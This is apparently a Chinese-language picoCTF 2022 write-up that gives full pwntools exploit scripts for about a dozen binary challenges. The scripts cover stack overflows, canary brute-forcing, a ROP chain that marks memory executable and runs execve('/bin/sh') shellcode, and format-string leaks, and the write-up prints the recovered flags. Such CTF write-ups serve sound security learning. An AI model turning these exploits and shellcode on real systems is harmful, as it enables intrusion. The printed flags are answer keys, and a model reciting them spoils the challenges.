basic-file-exploit

思路

先选1随便写入几个数据,满足inputs != 0的要求

if (inputs == 0) {
  puts("No data yet");
  continue;
}

然后选2输入不含数字的字符串满足以下要求,即可拿到flag

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
  puts(flag);
  fseek(stdin, 0, SEEK_END);
  exit(0);
}

题解过程

  Hi, welcome to my echo chamber!
  Type '1' to enter a phrase into our database
  Type '2' to echo a phrase in our database
  Type '3' to exit the program

  No data given.
  Please put in a valid number
  1
  1
  Please enter your data:
  1234
  1234
  Please enter the length of your data:
  2
  2
  Your entry number is: 1
  Write successful, would you like to do anything else?
  2
  2
  Please enter the entry number of your data:
  ewaeawe
  ewaeawe
  picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_00AAD6B3}

buffer overflow 0

思路

No canary,直接溢出触发segmentation fault既可。

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'i386'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 55986)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

# trigger segmentation fault
sla('Input: ', b'b'*20)
print(rl())

buffer overflow 1

思路

No canary,简单的溢出覆盖返回地址。

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'i386'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 56929)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

sla('Please enter your string: \n', b'b'*(0x28+4)+p32(0x080491F6))
print(rl())
itr()

buffer overflow 2

思路

类似于 buffer overflow 1,只不过加了一个参数传递的限制。

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 58214)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

sla(' string: \n', b'b'*(0x6c+4)+ p32(0x08049296)+p32(0)+p32(0xCAFEF00D)+p32(0xF00DF00D))
itr()

buffer overflow 3

思路

canary长度为4,先爆破拿canary,然后再常规栈溢出就行了

#define CANARY_SIZE 4
if (memcmp(canary,global_canary,CANARY_SIZE)) {
        printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
        exit(-1);
}

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 63235)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

st_l = []
for i in range(0x21, 0x7f):
        st_l.append(p8(i))

print(st_l) 
i = 0

size = 0x42
payload = b'b'*0x40

pre_pay = payload
payload += st_l[0]
j = 0

print(payload)

# test canary
# while True:
#         try:
#                 if argv[1] == 'r':
#                         p = remote('saturn.picoctf.net', 63235)
#                 else:
#                         p = process(binary)

#                 # p = process(binary)
#                 # p = remote('saturn.picoctf.net', 57461)
#                 sla('Buffer?\n> ', str(size))
#                 # sa('Input> ', b'b'*0x40+b'cana'+b'AAAA'+p64(0)+p32(0)+p32(0x08049336))
#                 sa('Input> ', payload)
#                 res = rl()
#                 print('res = ', res)
#                 if (str(res).find('Smashing') > 0):
#                         payload = pre_pay
#                         i = (i + 1) % len(st_l)
#                         payload += st_l[i]
#                 else:
#                         print(payload)
#                         size = size + 1
#                         i = 0
#                         pre_pay = payload
#                         payload += st_l[i]
#                         j = j + 1
#                         log.success('size = ' + hex(size))
#                         log.success('pre_pay = ' + str(pre_pay))
#                         log.success('j = ' + str(j))
#                         if (j == 4):
#                                 break

#         except Exception as e:
#                 p.close()


size = 0x60
payload = b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBiRd'
payload += b'AAAA'+p64(0)+p32(0)+p32(0x08049336)

sla('Buffer?\n> ', str(size))
sa('Input> ', payload)
print(rl())
print(rl())

Result

...
res =  b"Ok... Now Where's the Flag?\n"
b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBiRd'
[+] size = 0x46
[+] pre_pay = b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBiRd'
[+] j = 4
...
b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_f7c1f50a}\n'

x-sixty-what

思路

换成了x86_64程序,和buffer_overflow_1类似,no canary,直接溢出覆盖返回地址。

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 52865)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

ret = 0x40101a
sla('gets you the flag: \n', b'b'*0x48+p64(0x40101a)+p64(0x401236))
itr()

wine

思路

换成了windows的栈溢出题,no canary

EXP

from pwn import *

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'i386'
context.terminal = ['tmux','splitw','-h']

p = remote('saturn.picoctf.net', 65422)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

payload = b'b'*(0x88+4) + p32(0x401530)
sla('Give me a string!\r\n', payload)
print(rl())
itr()

CVE-XXXX-XXXX

直接google搜Windows Print Spooler Service 2021 CVE,多试几个

RPS

思路

连续5次猜赢石头剪刀布才会吐flag,用的笨方法爆破,大概10分钟左右。

EXP

from pwn import *
from sys import argv

# context.log_level = 'debug'
context.os = 'linux'
context.arch = 'i386'
context.terminal = ['tmux','splitw','-h']

if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 52524)
else:
        p = process('./game')

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
rls     = lambda num=1              :p.recvlines(num)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

loses = ["paper", "scissors", "rock"]
rint = [1, 1, 0, 0, 0]
count = 0

for i in rint:
        print(loses[i])

j = 0
i = rint[j]

while(1):
        sla("Type '1' to play a game", '1')
        sla('(rock/paper/scissors):', loses[i])
        j = (j + 1) % 5
        i = rint[j]
        
        rls(4)
        res = rl()
        print('res = ', res)
        if (str(res).find('You win!') > 0):
                count = count + 1
        else:
                count = 0

        print(count)

        if (count == 5):
                ru("Congrats, here's the flag!")
                print(rl())
                print(rl())
                print(rl())
                itr()
                break

Result

...
res =  b"Seems like you didn't win this time. Play again?\r\n"
0
res =  b'You win! Play again?\r\n'
1
res =  b'You win! Play again?\r\n'
2
res =  b'You win! Play again?\r\n'
3
res =  b'You win! Play again?\r\n'
4
res =  b'You win! Play again?\r\n'
5
...
b'picoCTF{50M3_3X7R3M3_1UCK_32F730C2}\r\n'
...
real	9m10.276s
user	0m1.003s
sys	0m0.131s

ropfu

思路

No canary,stack有执行权限,用mprotect赋予bss段可执行权限,然后往bss段写入shellcode并执行

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'i386'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
elf = ELF(binary)
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 54462)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

# shellcode one
# sc = shellcraft.sh()
# sc = asm(sc)
# print(len(sc))

# shellcode two
# sc = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
# sc += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
# print(len(sc))

# shellcode three
'''
execve('/bin/sh', 0, 0)
eax = 11, ebx -> '/bin/sh', ecx = edx = 0
'''
sc = ''
sc += 'xor ecx,ecx;'
sc += 'mul ecx;'
sc += 'push ecx;'
sc += 'push 0x68732f2f;'
sc += 'push 0x6e69622f;'
sc += 'mov ebx,esp;'
sc += 'mov al,11;'
sc += 'int 0x80'
sc = asm(sc)
print(len(sc))

bss = 0x080E6000
pop_edx_ebx_esi_ret = 0x0805f7b6

pay = b'b'*(0x18+4) + p32(elf.symbols['mprotect']) 
pay += p32(pop_edx_ebx_esi_ret) + p32(bss) + p32(0x100) + p32(0x7)
pay += p32(elf.symbols['read']) + p32(bss) + p32(0) + p32(bss) + p32(0x100)
print(pay)

sla('grasshopper!\n', pay)
sl(sc)
sl('cat flag.txt')
itr()

flag leak

思路

scanf最多可以读入127个字符,利用printf格式化字符串漏洞泄露flag

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 64125)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

pay = b'%45$x---' + b'%44$x---' + b'%43$x---' + b'%42$x---'
pay += b'%41$x---' + b'%40$x---'+ b'%39$x---' + b'%38$x---'
pay += b'%37$x---' + b'%36$x---'+ b'a'*0x30 + b'0'*3
sla('you one >> ', pay)
print(rl())
print(rl())

# get flag, little endian
# 7b465443---6f636970---5f676e31---6b34334c---6666305f
# ---67346c46---655f6b63---3474535f---7d326136---34623962

str_li = ['7d326136', '34623962', '655f6b63','3474535f','6666305f'
          ,'67346c46','5f676e31','6b34334c','7b465443','6f636970']
print(chr(0x7d))

ch_l = ""
for v in str_li:
        for i in range(0, len(v), 2):
                ch = v[i] + v[i+1]
                ch_l += chr(int(ch, 16))
                print(ch_l)

ch_l = ch_l[::-1]
print(ch_l)

Result

...
b'7d326136---34623962---655f6b63---3474535f---6666305f
---67346c46---5f676e31---6b34334c---7b465443---6f636970
---aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
...
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{F
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{FT
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{FTC
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{FTCo
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{FTCoc
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{FTCoci
}2a64b9be_kc4tS_ff0_g4lF_gn1k43L{FTCocip
picoCTF{L34k1ng_Fl4g_0ff_St4ck_eb9b46a2}

function overwrite

思路

通过fun数组越界,覆盖check指针为easy_checker函数的地址,在拼凑数据使得能通过calculate_story_score函数的检查,既可收到flag。

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 52369)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

payload = str(97)*11 +str(9)+ str(0)
sla("if you're a 1337 >> ", payload)
ru("Keep the first one less than 10.\n")
sl(str(-16))
sl(str(-314))

print(rl())
print(rl())

stack cache

思路

函数读取的数据,在函数退栈后,仍然会遗留在栈上。因此,函数退栈后,可以利用格式化字符泄漏这些栈上的关键数据

EXP

from pwn import *
from sys import argv

context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']

binary = './vuln'
if argv[1] == 'r':
        p = remote('saturn.picoctf.net', 51157)
else:
        p = process(binary)

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims             :p.recvuntil(delims)
rl      = lambda                    :p.recvline()
rls     = lambda num=1              :p.recvlines(num)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))

ret = 0x0804900e
payload = b'b'*(0xa) + b'cccc' + p32(0x08049DA0) + p32(0x08049E20)
sla('gets you the flag\n', payload)
print(rls(4))

# b'User information : 0x80c9a04 0x804007d 0x61333337 0x31646239 0x5f597230 0x6d334d5f', 
# b'Names of user: 0x50755f4e 0x34656c43 0x7b465443', 
# b'Age of user: 0x6f636970'

# little endian
str_li = ['7d', '61333337','31646239','5f597230','6d334d5f','50755f4e','34656c43','7b465443','6f636970']
print(chr(0x7d))

ch_l = ""
for v in str_li:
        for i in range(0, len(v), 2):
                ch = v[i] + v[i+1]
                ch_l += chr(int(ch, 16))
                print(ch_l)

ch_l = ch_l[::-1]
print(ch_l)

Result

...
b'User information : 0x80c9a04 0x804007d 0x61333337 0x31646239 0x5f597230 0x6d334d5f\n'
b'Names of user: 0x50755f4e 0x34656c43 0x7b465443\n'
b'Age of user: 0x6f636970\n'
...
}a3371db9_Yr0m3M_Pu_N4elC{FTC
}a3371db9_Yr0m3M_Pu_N4elC{FTCo
}a3371db9_Yr0m3M_Pu_N4elC{FTCoc
}a3371db9_Yr0m3M_Pu_N4elC{FTCoci
}a3371db9_Yr0m3M_Pu_N4elC{FTCocip
picoCTF{Cle4N_uP_M3m0rY_9bd1733a}

Reference